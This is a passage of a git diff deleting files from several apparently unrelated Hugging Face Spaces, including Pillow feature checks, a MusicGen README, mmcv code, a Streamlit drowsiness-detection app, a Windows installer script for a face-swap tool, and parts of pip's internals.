"HAVE_LIBJPEGTURBO", "libjpeg_turbo_version"), - "libimagequant": ("PIL._imaging", "HAVE_LIBIMAGEQUANT", "imagequant_version"), - "xcb": ("PIL._imaging", "HAVE_XCB", None), -} - - -def check_feature(feature): - """ - Checks if a feature is available. - - :param feature: The feature to check for. - :returns: ``True`` if available, ``False`` if unavailable, ``None`` if unknown. - :raises ValueError: If the feature is not defined in this version of Pillow. - """ - if feature not in features: - msg = f"Unknown feature {feature}" - raise ValueError(msg) - - module, flag, ver = features[feature] - - try: - imported_module = __import__(module, fromlist=["PIL"]) - return getattr(imported_module, flag) - except ModuleNotFoundError: - return None - except ImportError as ex: - warnings.warn(str(ex)) - return None - - -def version_feature(feature): - """ - :param feature: The feature to check for. - :returns: The version number as a string, or ``None`` if not available. - :raises ValueError: If the feature is not defined in this version of Pillow. - """ - if not check_feature(feature): - return None - - module, flag, ver = features[feature] - - if ver is None: - return None - - return getattr(__import__(module, fromlist=[ver]), ver) - - -def get_supported_features(): - """ - :returns: A list of all supported features. - """ - return [f for f in features if check_feature(f)] - - -def check(feature): - """ - :param feature: A module, codec, or feature name. - :returns: - ``True`` if the module, codec, or feature is available, - ``False`` or ``None`` otherwise. - """ - - if feature in modules: - return check_module(feature) - if feature in codecs: - return check_codec(feature) - if feature in features: - return check_feature(feature) - warnings.warn(f"Unknown feature '{feature}'.", stacklevel=2) - return False - - -def version(feature): - """ - :param feature: - The module, codec, or feature to check for. - :returns: - The version number as a string, or ``None`` if unknown or not available. - """ - if feature in modules: - return version_module(feature) - if feature in codecs: - return version_codec(feature) - if feature in features: - return version_feature(feature) - return None - - -def get_supported(): - """ - :returns: A list of all supported modules, features, and codecs. - """ - - ret = get_supported_modules() - ret.extend(get_supported_features()) - ret.extend(get_supported_codecs()) - return ret - - -def pilinfo(out=None, supported_formats=True): - """ - Prints information about this installation of Pillow. - This function can be called with ``python3 -m PIL``. - - :param out: - The output stream to print to. Defaults to ``sys.stdout`` if ``None``. - :param supported_formats: - If ``True``, a list of all supported image file formats will be printed. - """ - - if out is None: - out = sys.stdout - - Image.init() - - print("-" * 68, file=out) - print(f"Pillow {PIL.__version__}", file=out) - py_version = sys.version.splitlines() - print(f"Python {py_version[0].strip()}", file=out) - for py_version in py_version[1:]: - print(f" {py_version.strip()}", file=out) - print("-" * 68, file=out) - print( - f"Python modules loaded from {os.path.dirname(Image.__file__)}", - file=out, - ) - print( - f"Binary modules loaded from {os.path.dirname(Image.core.__file__)}", - file=out, - ) - print("-" * 68, file=out) - - for name, feature in [ - ("pil", "PIL CORE"), - ("tkinter", "TKINTER"), - ("freetype2", "FREETYPE2"), - ("littlecms2", "LITTLECMS2"), - ("webp", "WEBP"), - ("transp_webp", "WEBP Transparency"), - ("webp_mux", "WEBPMUX"), - ("webp_anim", "WEBP Animation"), - ("jpg", "JPEG"), - ("jpg_2000", "OPENJPEG (JPEG2000)"), - ("zlib", "ZLIB (PNG/ZIP)"), - ("libtiff", "LIBTIFF"), - ("raqm", "RAQM (Bidirectional Text)"), - ("libimagequant", "LIBIMAGEQUANT (Quantization method)"), - ("xcb", "XCB (X protocol)"), - ]: - if check(name): - if name == "jpg" and check_feature("libjpeg_turbo"): - v = "libjpeg-turbo " + version_feature("libjpeg_turbo") - else: - v = version(name) - if v is not None: - version_static = name in ("pil", "jpg") - if name == "littlecms2": - # this check is also in src/_imagingcms.c:setup_module() - version_static = tuple(int(x) for x in v.split(".")) < (2, 7) - t = "compiled for" if version_static else "loaded" - if name == "raqm": - for f in ("fribidi", "harfbuzz"): - v2 = version_feature(f) - if v2 is not None: - v += f", {f} {v2}" - print("---", feature, "support ok,", t, v, file=out) - else: - print("---", feature, "support ok", file=out) - else: - print("***", feature, "support not installed", file=out) - print("-" * 68, file=out) - - if supported_formats: - extensions = collections.defaultdict(list) - for ext, i in Image.EXTENSION.items(): - extensions[i].append(ext) - - for i in sorted(Image.ID): - line = f"{i}" - if i in Image.MIME: - line = f"{line} {Image.MIME[i]}" - print(line, file=out) - - if i in extensions: - print( - "Extensions: {}".format(", ".join(sorted(extensions[i]))), file=out - ) - - features = [] - if i in Image.OPEN: - features.append("open") - if i in Image.SAVE: - features.append("save") - if i in Image.SAVE_ALL: - features.append("save_all") - if i in Image.DECODERS: - features.append("decode") - if i in Image.ENCODERS: - features.append("encode") - - print("Features: {}".format(", ".join(features)), file=out) - print("-" * 68, file=out) diff --git a/spaces/Suniilkumaar/MusicGen-updated/README.md b/spaces/Suniilkumaar/MusicGen-updated/README.md deleted file mode 100644 index f798eab150e85eb88334c171a0223cab612043be..0000000000000000000000000000000000000000 --- a/spaces/Suniilkumaar/MusicGen-updated/README.md +++ /dev/null @@ -1,140 +0,0 @@ ---- -title: "MusicGen" -python_version: "3.9" -tags: - - "music generation" - - "language models" - - "LLMs" -app_file: "app.py" -emoji: 🎵 -colorFrom: gray -colorTo: blue -sdk: gradio -sdk_version: 3.34.0 -pinned: true -license: "cc-by-nc-4.0" ---- -# Audiocraft -![docs badge](https://github.com/facebookresearch/audiocraft/workflows/audiocraft_docs/badge.svg) -![linter badge](https://github.com/facebookresearch/audiocraft/workflows/audiocraft_linter/badge.svg) -![tests badge](https://github.com/facebookresearch/audiocraft/workflows/audiocraft_tests/badge.svg) - -Audiocraft is a PyTorch library for deep learning research on audio generation. At the moment, it contains the code for MusicGen, a state-of-the-art controllable text-to-music model. - -## MusicGen - -Audiocraft provides the code and models for MusicGen, [a simple and controllable model for music generation][arxiv]. MusicGen is a single stage auto-regressive -Transformer model trained over a 32kHz EnCodec tokenizer with 4 codebooks sampled at 50 Hz. Unlike existing methods like [MusicLM](https://arxiv.org/abs/2301.11325), MusicGen doesn't require a self-supervised semantic representation, and it generates -all 4 codebooks in one pass. By introducing a small delay between the codebooks, we show we can predict -them in parallel, thus having only 50 auto-regressive steps per second of audio. -Check out our [sample page][musicgen_samples] or test the available demo! - - - Open In Colab - - - Open in HugginFace - -
      - -We use 20K hours of licensed music to train MusicGen. Specifically, we rely on an internal dataset of 10K high-quality music tracks, and on the ShutterStock and Pond5 music data. - -## Installation -Audiocraft requires Python 3.9, PyTorch 2.0.0, and a GPU with at least 16 GB of memory (for the medium-sized model). To install Audiocraft, you can run the following: - -```shell -# Best to make sure you have torch installed first, in particular before installing xformers. -# Don't run this if you already have PyTorch installed. -pip install 'torch>=2.0' -# Then proceed to one of the following -pip install -U audiocraft # stable release -pip install -U git+https://git@github.com/facebookresearch/audiocraft#egg=audiocraft # bleeding edge -pip install -e . # or if you cloned the repo locally -``` - -## Usage -We offer a number of way to interact with MusicGen: -1. A demo is also available on the [`facebook/MusicGen` HuggingFace Space](https://huggingface.co/spaces/facebook/MusicGen) (huge thanks to all the HF team for their support). -2. You can run the Gradio demo in Colab: [colab notebook](https://colab.research.google.com/drive/1fxGqfg96RBUvGxZ1XXN07s3DthrKUl4-?usp=sharing). -3. You can use the gradio demo locally by running `python app.py`. -4. You can play with MusicGen by running the jupyter notebook at [`demo.ipynb`](./demo.ipynb) locally (if you have a GPU). -5. Finally, checkout [@camenduru Colab page](https://github.com/camenduru/MusicGen-colab) which is regularly - updated with contributions from @camenduru and the community. - -## API - -We provide a simple API and 4 pre-trained models. The pre trained models are: -- `small`: 300M model, text to music only - [🤗 Hub](https://huggingface.co/facebook/musicgen-small) -- `medium`: 1.5B model, text to music only - [🤗 Hub](https://huggingface.co/facebook/musicgen-medium) -- `melody`: 1.5B model, text to music and text+melody to music - [🤗 Hub](https://huggingface.co/facebook/musicgen-melody) -- `large`: 3.3B model, text to music only - [🤗 Hub](https://huggingface.co/facebook/musicgen-large) - -We observe the best trade-off between quality and compute with the `medium` or `melody` model. -In order to use MusicGen locally **you must have a GPU**. We recommend 16GB of memory, but smaller -GPUs will be able to generate short sequences, or longer sequences with the `small` model. - -**Note**: Please make sure to have [ffmpeg](https://ffmpeg.org/download.html) installed when using newer version of `torchaudio`. -You can install it with: -``` -apt-get install ffmpeg -``` - -See after a quick example for using the API. - -```python -import torchaudio -from audiocraft.models import MusicGen -from audiocraft.data.audio import audio_write - -model = MusicGen.get_pretrained('melody') -model.set_generation_params(duration=8) # generate 8 seconds. -wav = model.generate_unconditional(4) # generates 4 unconditional audio samples -descriptions = ['happy rock', 'energetic EDM', 'sad jazz'] -wav = model.generate(descriptions) # generates 3 samples. - -melody, sr = torchaudio.load('./assets/bach.mp3') -# generates using the melody from the given audio and the provided descriptions. -wav = model.generate_with_chroma(descriptions, melody[None].expand(3, -1, -1), sr) - -for idx, one_wav in enumerate(wav): - # Will save under {idx}.wav, with loudness normalization at -14 db LUFS. - audio_write(f'{idx}', one_wav.cpu(), model.sample_rate, strategy="loudness", loudness_compressor=True) -``` - - -## Model Card - -See [the model card page](./MODEL_CARD.md). - -## FAQ - -#### Will the training code be released? - -Yes. We will soon release the training code for MusicGen and EnCodec. - - -#### I need help on Windows - -@FurkanGozukara made a complete tutorial for [Audiocraft/MusicGen on Windows](https://youtu.be/v-YpvPkhdO4) - -#### I need help for running the demo on Colab - -Check [@camenduru tutorial on Youtube](https://www.youtube.com/watch?v=EGfxuTy9Eeo). - - -## Citation -``` -@article{copet2023simple, - title={Simple and Controllable Music Generation}, - author={Jade Copet and Felix Kreuk and Itai Gat and Tal Remez and David Kant and Gabriel Synnaeve and Yossi Adi and Alexandre Défossez}, - year={2023}, - journal={arXiv preprint arXiv:2306.05284}, -} -``` - -## License -* The code in this repository is released under the MIT license as found in the [LICENSE file](LICENSE). -* The weights in this repository are released under the CC-BY-NC 4.0 license as found in the [LICENSE_weights file](LICENSE_weights). - -[arxiv]: https://arxiv.org/abs/2306.05284 -[musicgen_samples]: https://ai.honu.io/papers/musicgen/ diff --git a/spaces/Superlang/ImageProcessor/annotator/uniformer/configs/_base_/schedules/schedule_40k.py b/spaces/Superlang/ImageProcessor/annotator/uniformer/configs/_base_/schedules/schedule_40k.py deleted file mode 100644 index cdbf841abcb26eed87bf76ab816aff4bae0630ee..0000000000000000000000000000000000000000 --- a/spaces/Superlang/ImageProcessor/annotator/uniformer/configs/_base_/schedules/schedule_40k.py +++ /dev/null @@ -1,9 +0,0 @@ -# optimizer -optimizer = dict(type='SGD', lr=0.01, momentum=0.9, weight_decay=0.0005) -optimizer_config = dict() -# learning policy -lr_config = dict(policy='poly', power=0.9, min_lr=1e-4, by_epoch=False) -# runtime settings -runner = dict(type='IterBasedRunner', max_iters=40000) -checkpoint_config = dict(by_epoch=False, interval=4000) -evaluation = dict(interval=4000, metric='mIoU') diff --git a/spaces/Superlang/ImageProcessor/annotator/uniformer/mmcv/ops/corner_pool.py b/spaces/Superlang/ImageProcessor/annotator/uniformer/mmcv/ops/corner_pool.py deleted file mode 100644 index a33d798b43d405e4c86bee4cd6389be21ca9c637..0000000000000000000000000000000000000000 --- a/spaces/Superlang/ImageProcessor/annotator/uniformer/mmcv/ops/corner_pool.py +++ /dev/null @@ -1,161 +0,0 @@ -# Copyright (c) OpenMMLab. All rights reserved. -import torch -from torch import nn -from torch.autograd import Function - -from ..utils import ext_loader - -ext_module = ext_loader.load_ext('_ext', [ - 'top_pool_forward', 'top_pool_backward', 'bottom_pool_forward', - 'bottom_pool_backward', 'left_pool_forward', 'left_pool_backward', - 'right_pool_forward', 'right_pool_backward' -]) - -_mode_dict = {'top': 0, 'bottom': 1, 'left': 2, 'right': 3} - - -class TopPoolFunction(Function): - - @staticmethod - def symbolic(g, input): - output = g.op( - 'mmcv::MMCVCornerPool', input, mode_i=int(_mode_dict['top'])) - return output - - @staticmethod - def forward(ctx, input): - output = ext_module.top_pool_forward(input) - ctx.save_for_backward(input) - return output - - @staticmethod - def backward(ctx, grad_output): - input, = ctx.saved_tensors - output = ext_module.top_pool_backward(input, grad_output) - return output - - -class BottomPoolFunction(Function): - - @staticmethod - def symbolic(g, input): - output = g.op( - 'mmcv::MMCVCornerPool', input, mode_i=int(_mode_dict['bottom'])) - return output - - @staticmethod - def forward(ctx, input): - output = ext_module.bottom_pool_forward(input) - ctx.save_for_backward(input) - return output - - @staticmethod - def backward(ctx, grad_output): - input, = ctx.saved_tensors - output = ext_module.bottom_pool_backward(input, grad_output) - return output - - -class LeftPoolFunction(Function): - - @staticmethod - def symbolic(g, input): - output = g.op( - 'mmcv::MMCVCornerPool', input, mode_i=int(_mode_dict['left'])) - return output - - @staticmethod - def forward(ctx, input): - output = ext_module.left_pool_forward(input) - ctx.save_for_backward(input) - return output - - @staticmethod - def backward(ctx, grad_output): - input, = ctx.saved_tensors - output = ext_module.left_pool_backward(input, grad_output) - return output - - -class RightPoolFunction(Function): - - @staticmethod - def symbolic(g, input): - output = g.op( - 'mmcv::MMCVCornerPool', input, mode_i=int(_mode_dict['right'])) - return output - - @staticmethod - def forward(ctx, input): - output = ext_module.right_pool_forward(input) - ctx.save_for_backward(input) - return output - - @staticmethod - def backward(ctx, grad_output): - input, = ctx.saved_tensors - output = ext_module.right_pool_backward(input, grad_output) - return output - - -class CornerPool(nn.Module): - """Corner Pooling. - - Corner Pooling is a new type of pooling layer that helps a - convolutional network better localize corners of bounding boxes. - - Please refer to https://arxiv.org/abs/1808.01244 for more details. - Code is modified from https://github.com/princeton-vl/CornerNet-Lite. - - Args: - mode(str): Pooling orientation for the pooling layer - - - 'bottom': Bottom Pooling - - 'left': Left Pooling - - 'right': Right Pooling - - 'top': Top Pooling - - Returns: - Feature map after pooling. - """ - - pool_functions = { - 'bottom': BottomPoolFunction, - 'left': LeftPoolFunction, - 'right': RightPoolFunction, - 'top': TopPoolFunction, - } - - cummax_dim_flip = { - 'bottom': (2, False), - 'left': (3, True), - 'right': (3, False), - 'top': (2, True), - } - - def __init__(self, mode): - super(CornerPool, self).__init__() - assert mode in self.pool_functions - self.mode = mode - self.corner_pool = self.pool_functions[mode] - - def forward(self, x): - if torch.__version__ != 'parrots' and torch.__version__ >= '1.5.0': - if torch.onnx.is_in_onnx_export(): - assert torch.__version__ >= '1.7.0', \ - 'When `cummax` serves as an intermediate component whose '\ - 'outputs is used as inputs for another modules, it\'s '\ - 'expected that pytorch version must be >= 1.7.0, '\ - 'otherwise Error appears like: `RuntimeError: tuple '\ - 'appears in op that does not forward tuples, unsupported '\ - 'kind: prim::PythonOp`.' - - dim, flip = self.cummax_dim_flip[self.mode] - if flip: - x = x.flip(dim) - pool_tensor, _ = torch.cummax(x, dim=dim) - if flip: - pool_tensor = pool_tensor.flip(dim) - return pool_tensor - else: - return self.corner_pool.apply(x) diff --git a/spaces/SurendraKumarDhaka/Drowsiness-detection-system/app.py b/spaces/SurendraKumarDhaka/Drowsiness-detection-system/app.py deleted file mode 100644 index 90afb83d166e840942f1f6e0b0390b245eb5a7e0..0000000000000000000000000000000000000000 --- a/spaces/SurendraKumarDhaka/Drowsiness-detection-system/app.py +++ /dev/null @@ -1,228 +0,0 @@ -import streamlit as st -import cv2 -import time -import tensorflow as tf -from tensorflow.keras.models import load_model -import numpy as np -from pygame import mixer -import os -os.environ["SDL_AUDIODRIVER"] = "dummy" - - - -from datetime import datetime -model = load_model('Drowsiness_model_efficient.h5') - -html_temp= """ -
      -

      Drowsiness Detection App

      -
      - """ -st.markdown(html_temp,unsafe_allow_html=True) - -st.markdown( - - """ - This app is developed for drowsiness detection. This app will raise an alarm if the person is drowsy. -""" -) -Warning="By selecting the check box you are agree to use our app.\nDon't worry!! We will not save your any data." -check=st.checkbox("I agree",help=Warning) -if(check): - st.write('Great!') - btn=st.button("Start") - st.write('Press (c) for ending the stream') - if btn: - - #multiple cascades: https://github.com/Itseez/opencv/tree/master/data/haarcascades - - #https://github.com/Itseez/opencv/blob/master/data/haarcascades/haarcascade_frontalface_default.xml - face_cascade = cv2.CascadeClassifier(cv2.data.haarcascades + 'haarcascade_frontalface_default.xml') - - #https://github.com/Itseez/opencv/blob/master/data/haarcascades/haarcascade_eye.xml - eye_cascade = cv2.CascadeClassifier(cv2.data.haarcascades + 'haarcascade_eye.xml') - mixer.init() - sound= mixer.Sound(r'mixkit-digital-clock-digital-alarm-buzzer-992.wav') - - # HTML template with embedded JavaScript for camera access - camera_access_html = """ - - - - - - - - - """ - - # Display the HTML with camera access JavaScript - st.markdown(camera_access_html, unsafe_allow_html=True) - - # Function to capture video frames - def capture_video_frame(): - if 'videoElement' in locals(): - ret, frame = cap.read() - if ret: - return frame - else: - return None - else: - return None - - # Initialize video capture - cap = None - if 'videoElement' in locals(): - cap = cv2.VideoCapture(0) - - Score = 0 - openScore = 0 - while 1: - frame = capture_video_frame() - if frame is None: - st.warning("Please request camera access and start capturing frames.") - break - img = frame - - height,width = img.shape[0:2] - frame = img - gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) - faces = face_cascade.detectMultiScale(gray, scaleFactor= 1.3, minNeighbors=2) - - for (x,y,w,h) in faces: - cv2.rectangle(img,(x,y),(x+w,y+h),(255,0,0),2) - roi_gray = gray[y:y+h, x:x+w] - roi_color = img[y:y+h, x:x+w] - eye= img[y:y+h,x:x+w] - eye= cv2.resize(eye, (256 ,256)) - im = tf.constant(eye, dtype = tf.float32) - img_array = tf.expand_dims(im, axis = 0) - prediction = model.predict(img_array) - print(np.argmax(prediction[0])) - - # if eyes are closed - if np.argmax(prediction[0])<0.50: - cv2.putText(frame,'closed',(10,height-20),fontFace=cv2.FONT_HERSHEY_COMPLEX_SMALL,fontScale=1,color=(255,255,255), - thickness=1,lineType=cv2.LINE_AA) - cv2.putText(frame,'Score'+str(Score),(100,height-20),fontFace=cv2.FONT_HERSHEY_COMPLEX_SMALL,fontScale=1,color=(255,255,255), - thickness=1,lineType=cv2.LINE_AA) - Score=Score+1 - if(Score>25): - try: - sound.play() - - except: - pass - - # if eyes are open - elif np.argmax(prediction[0])>0.60: - cv2.putText(frame,'open',(10,height-20),fontFace=cv2.FONT_HERSHEY_COMPLEX_SMALL,fontScale=1,color=(255,255,255), - thickness=1,lineType=cv2.LINE_AA) - cv2.putText(frame,'Score'+str(Score),(100,height-20),fontFace=cv2.FONT_HERSHEY_COMPLEX_SMALL,fontScale=1,color=(255,255,255), - thickness=1,lineType=cv2.LINE_AA) - Score = Score-1 - openScore = openScore +1 - if (Score<0 or openScore >8): - Score=0 - - - cv2.imshow('frame',img) - - if cv2.waitKey(33) & 0xFF==ord('c'): - break - cap.release() - cv2.destroyAllWindows() - - st.text("Thanks for using") -if st.button("About"): - st.text("Created by Surendra Kumar") -## footer -from htbuilder import HtmlElement, div, ul, li, br, hr, a, p, img, styles, classes, fonts -from htbuilder.units import percent, px -from htbuilder.funcs import rgba, rgb - - -def image(src_as_string, **style): - return img(src=src_as_string, style=styles(**style)) - - -def link(link, text, **style): - return a(_href=link, _target="_blank", style=styles(**style))(text) - - -def layout(*args): - style = """ - - """ - - style_div = styles( - position="fixed", - left=0, - bottom=0, - margin=px(0, 0, 0, 0), - width=percent(100), - color="black", - text_align="center", - height="auto", - opacity=1 - ) - - style_hr = styles( - display="block", - margin=px(8, 8, "auto", "auto"), - border_style="solid", - border_width=px(0.5) - ) - - body = p() - foot = div( - style=style_div - )( - hr( - style=style_hr - ), - body - ) - st.markdown(style,unsafe_allow_html=True) - - for arg in args: - if isinstance(arg, str): - body(arg) - - elif isinstance(arg, HtmlElement): - body(arg) - - st.markdown(str(foot), unsafe_allow_html=True) - - -def footer(): - myargs = [ - "©️ surendraKumar", - br(), - link("https://www.linkedin.com/in/surendra-kumar-51802022b", image('https://icons.getbootstrap.com/assets/icons/linkedin.svg') ), - br(), - link("https://www.instagram.com/im_surendra_dhaka/",image('https://icons.getbootstrap.com/assets/icons/instagram.svg')), - ] - layout(*myargs) - -if __name__ == "__main__": - footer() \ No newline at end of file diff --git a/spaces/TandCAcceptMe/face-swap-docker/installer/windows_run.bat b/spaces/TandCAcceptMe/face-swap-docker/installer/windows_run.bat deleted file mode 100644 index fa45b8ba8f47cf7645e35a57b5c829312be38c47..0000000000000000000000000000000000000000 --- a/spaces/TandCAcceptMe/face-swap-docker/installer/windows_run.bat +++ /dev/null @@ -1,80 +0,0 @@ -@echo off -REM Please set the following commandline arguments to your prefered settings -set COMMANDLINE_ARGS=--execution-provider cuda --frame-processor face_swapper face_enhancer --video-encoder libvpx-vp9 - -cd /D "%~dp0" - -echo "%CD%"| findstr /C:" " >nul && echo This script relies on Miniconda which can not be silently installed under a path with spaces. && goto end - -set PATH=%PATH%;%SystemRoot%\system32 - -@rem config -set INSTALL_DIR=%cd%\installer_files -set CONDA_ROOT_PREFIX=%cd%\installer_files\conda -set INSTALL_ENV_DIR=%cd%\installer_files\env -set MINICONDA_DOWNLOAD_URL=https://repo.anaconda.com/miniconda/Miniconda3-latest-Windows-x86_64.exe -set FFMPEG_DOWNLOAD_URL=https://github.com/GyanD/codexffmpeg/releases/download/2023-06-21-git-1bcb8a7338/ffmpeg-2023-06-21-git-1bcb8a7338-essentials_build.zip -set INSTALL_FFMPEG_DIR=%cd%\installer_files\ffmpeg -set conda_exists=F - -@rem figure out whether git and conda needs to be installed -call "%CONDA_ROOT_PREFIX%\_conda.exe" --version >nul 2>&1 -if "%ERRORLEVEL%" EQU "0" set conda_exists=T - -@rem (if necessary) install git and conda into a contained environment -@rem download conda -if "%conda_exists%" == "F" ( - echo Downloading Miniconda from %MINICONDA_DOWNLOAD_URL% to %INSTALL_DIR%\miniconda_installer.exe - - mkdir "%INSTALL_DIR%" - call curl -Lk "%MINICONDA_DOWNLOAD_URL%" > "%INSTALL_DIR%\miniconda_installer.exe" || ( echo. && echo Miniconda failed to download. && goto end ) - - echo Installing Miniconda to %CONDA_ROOT_PREFIX% - start /wait "" "%INSTALL_DIR%\miniconda_installer.exe" /InstallationType=JustMe /NoShortcuts=1 /AddToPath=0 /RegisterPython=0 /NoRegistry=1 /S /D=%CONDA_ROOT_PREFIX% - - @rem test the conda binary - echo Miniconda version: - call "%CONDA_ROOT_PREFIX%\_conda.exe" --version || ( echo. && echo Miniconda not found. && goto end ) -) - -@rem create the installer env -if not exist "%INSTALL_ENV_DIR%" ( - echo Packages to install: %PACKAGES_TO_INSTALL% - call "%CONDA_ROOT_PREFIX%\_conda.exe" create --no-shortcuts -y -k --prefix "%INSTALL_ENV_DIR%" python=3.10 || ( echo. && echo Conda environment creation failed. && goto end ) -) - -if not exist "%INSTALL_FFMPEG_DIR%" ( - echo Downloading ffmpeg from %FFMPEG_DOWNLOAD_URL% to %INSTALL_DIR% - call curl -Lk "%FFMPEG_DOWNLOAD_URL%" > "%INSTALL_DIR%\ffmpeg.zip" || ( echo. && echo ffmpeg failed to download. && goto end ) - call powershell -command "Expand-Archive -Force '%INSTALL_DIR%\ffmpeg.zip' '%INSTALL_DIR%\'" - - cd "installer_files" - setlocal EnableExtensions EnableDelayedExpansion - - for /f "tokens=*" %%f in ('dir /s /b /ad "ffmpeg*"') do ( - ren "%%f" "ffmpeg" - ) - endlocal - setx PATH "%INSTALL_FFMPEG_DIR%\bin\;%PATH%" - echo To use videos, you need to restart roop after this installation. - cd .. -) - -@rem check if conda environment was actually created -if not exist "%INSTALL_ENV_DIR%\python.exe" ( echo. && echo ERROR: Conda environment is empty. && goto end ) - -@rem activate installer env -call "%CONDA_ROOT_PREFIX%\condabin\conda.bat" activate "%INSTALL_ENV_DIR%" || ( echo. && echo Miniconda hook not found. && goto end ) - -@rem setup installer env -echo Launching roop unleashed - please edit windows_run.bat to customize commandline arguments -call python installer.py %COMMANDLINE_ARGS% - -echo. -echo Done! - -:end -pause - - - diff --git a/spaces/TandCAcceptMe/face-swap-docker/mynewshinyroop/Lib/site-packages/pip/_internal/resolution/resolvelib/reporter.py b/spaces/TandCAcceptMe/face-swap-docker/mynewshinyroop/Lib/site-packages/pip/_internal/resolution/resolvelib/reporter.py deleted file mode 100644 index 12adeff7b6eacafc9c8c655c8f6633622b646992..0000000000000000000000000000000000000000 --- a/spaces/TandCAcceptMe/face-swap-docker/mynewshinyroop/Lib/site-packages/pip/_internal/resolution/resolvelib/reporter.py +++ /dev/null @@ -1,80 +0,0 @@ -from collections import defaultdict -from logging import getLogger -from typing import Any, DefaultDict - -from pip._vendor.resolvelib.reporters import BaseReporter - -from .base import Candidate, Requirement - -logger = getLogger(__name__) - - -class PipReporter(BaseReporter): - def __init__(self) -> None: - self.reject_count_by_package: DefaultDict[str, int] = defaultdict(int) - - self._messages_at_reject_count = { - 1: ( - "pip is looking at multiple versions of {package_name} to " - "determine which version is compatible with other " - "requirements. This could take a while." - ), - 8: ( - "pip is still looking at multiple versions of {package_name} to " - "determine which version is compatible with other " - "requirements. This could take a while." - ), - 13: ( - "This is taking longer than usual. You might need to provide " - "the dependency resolver with stricter constraints to reduce " - "runtime. See https://pip.pypa.io/warnings/backtracking for " - "guidance. If you want to abort this run, press Ctrl + C." - ), - } - - def rejecting_candidate(self, criterion: Any, candidate: Candidate) -> None: - self.reject_count_by_package[candidate.name] += 1 - - count = self.reject_count_by_package[candidate.name] - if count not in self._messages_at_reject_count: - return - - message = self._messages_at_reject_count[count] - logger.info("INFO: %s", message.format(package_name=candidate.name)) - - msg = "Will try a different candidate, due to conflict:" - for req_info in criterion.information: - req, parent = req_info.requirement, req_info.parent - # Inspired by Factory.get_installation_error - msg += "\n " - if parent: - msg += f"{parent.name} {parent.version} depends on " - else: - msg += "The user requested " - msg += req.format_for_error() - logger.debug(msg) - - -class PipDebuggingReporter(BaseReporter): - """A reporter that does an info log for every event it sees.""" - - def starting(self) -> None: - logger.info("Reporter.starting()") - - def starting_round(self, index: int) -> None: - logger.info("Reporter.starting_round(%r)", index) - - def ending_round(self, index: int, state: Any) -> None: - logger.info("Reporter.ending_round(%r, state)", index) - - def ending(self, state: Any) -> None: - logger.info("Reporter.ending(%r)", state) - - def adding_requirement(self, requirement: Requirement, parent: Candidate) -> None: - logger.info("Reporter.adding_requirement(%r, %r)", requirement, parent) - - def rejecting_candidate(self, criterion: Any, candidate: Candidate) -> None: - logger.info("Reporter.rejecting_candidate(%r, %r)", criterion, candidate) - - def pinning(self, candidate: Candidate) -> None: - logger.info("Reporter.pinning(%r)", candidate) diff --git a/spaces/TandCAcceptMe/face-swap-docker/mynewshinyroop/Lib/site-packages/pip/_internal/self_outdated_check.py b/spaces/TandCAcceptMe/face-swap-docker/mynewshinyroop/Lib/site-packages/pip/_internal/self_outdated_check.py deleted file mode 100644 index 41cc42c5677ddf0709d9eeb894eb8dbe4fd16f91..0000000000000000000000000000000000000000 --- a/spaces/TandCAcceptMe/face-swap-docker/mynewshinyroop/Lib/site-packages/pip/_internal/self_outdated_check.py +++ /dev/null @@ -1,242 +0,0 @@ -import datetime -import functools -import hashlib -import json -import logging -import optparse -import os.path -import sys -from dataclasses import dataclass -from typing import Any, Callable, Dict, Optional - -from pip._vendor.packaging.version import parse as parse_version -from pip._vendor.rich.console import Group -from pip._vendor.rich.markup import escape -from pip._vendor.rich.text import Text - -from pip._internal.index.collector import LinkCollector -from pip._internal.index.package_finder import PackageFinder -from pip._internal.metadata import get_default_environment -from pip._internal.metadata.base import DistributionVersion -from pip._internal.models.selection_prefs import SelectionPreferences -from pip._internal.network.session import PipSession -from pip._internal.utils.compat import WINDOWS -from pip._internal.utils.entrypoints import ( - get_best_invocation_for_this_pip, - get_best_invocation_for_this_python, -) -from pip._internal.utils.filesystem import adjacent_tmp_file, check_path_owner, replace -from pip._internal.utils.misc import ensure_dir - -_DATE_FMT = "%Y-%m-%dT%H:%M:%SZ" - - -logger = logging.getLogger(__name__) - - -def _get_statefile_name(key: str) -> str: - key_bytes = key.encode() - name = hashlib.sha224(key_bytes).hexdigest() - return name - - -class SelfCheckState: - def __init__(self, cache_dir: str) -> None: - self._state: Dict[str, Any] = {} - self._statefile_path = None - - # Try to load the existing state - if cache_dir: - self._statefile_path = os.path.join( - cache_dir, "selfcheck", _get_statefile_name(self.key) - ) - try: - with open(self._statefile_path, encoding="utf-8") as statefile: - self._state = json.load(statefile) - except (OSError, ValueError, KeyError): - # Explicitly suppressing exceptions, since we don't want to - # error out if the cache file is invalid. - pass - - @property - def key(self) -> str: - return sys.prefix - - def get(self, current_time: datetime.datetime) -> Optional[str]: - """Check if we have a not-outdated version loaded already.""" - if not self._state: - return None - - if "last_check" not in self._state: - return None - - if "pypi_version" not in self._state: - return None - - seven_days_in_seconds = 7 * 24 * 60 * 60 - - # Determine if we need to refresh the state - last_check = datetime.datetime.strptime(self._state["last_check"], _DATE_FMT) - seconds_since_last_check = (current_time - last_check).total_seconds() - if seconds_since_last_check > seven_days_in_seconds: - return None - - return self._state["pypi_version"] - - def set(self, pypi_version: str, current_time: datetime.datetime) -> None: - # If we do not have a path to cache in, don't bother saving. - if not self._statefile_path: - return - - # Check to make sure that we own the directory - if not check_path_owner(os.path.dirname(self._statefile_path)): - return - - # Now that we've ensured the directory is owned by this user, we'll go - # ahead and make sure that all our directories are created. - ensure_dir(os.path.dirname(self._statefile_path)) - - state = { - # Include the key so it's easy to tell which pip wrote the - # file. - "key": self.key, - "last_check": current_time.strftime(_DATE_FMT), - "pypi_version": pypi_version, - } - - text = json.dumps(state, sort_keys=True, separators=(",", ":")) - - with adjacent_tmp_file(self._statefile_path) as f: - f.write(text.encode()) - - try: - # Since we have a prefix-specific state file, we can just - # overwrite whatever is there, no need to check. - replace(f.name, self._statefile_path) - except OSError: - # Best effort. - pass - - -@dataclass -class UpgradePrompt: - old: str - new: str - - def __rich__(self) -> Group: - if WINDOWS: - pip_cmd = f"{get_best_invocation_for_this_python()} -m pip" - else: - pip_cmd = get_best_invocation_for_this_pip() - - notice = "[bold][[reset][blue]notice[reset][bold]][reset]" - return Group( - Text(), - Text.from_markup( - f"{notice} A new release of pip is available: " - f"[red]{self.old}[reset] -> [green]{self.new}[reset]" - ), - Text.from_markup( - f"{notice} To update, run: " - 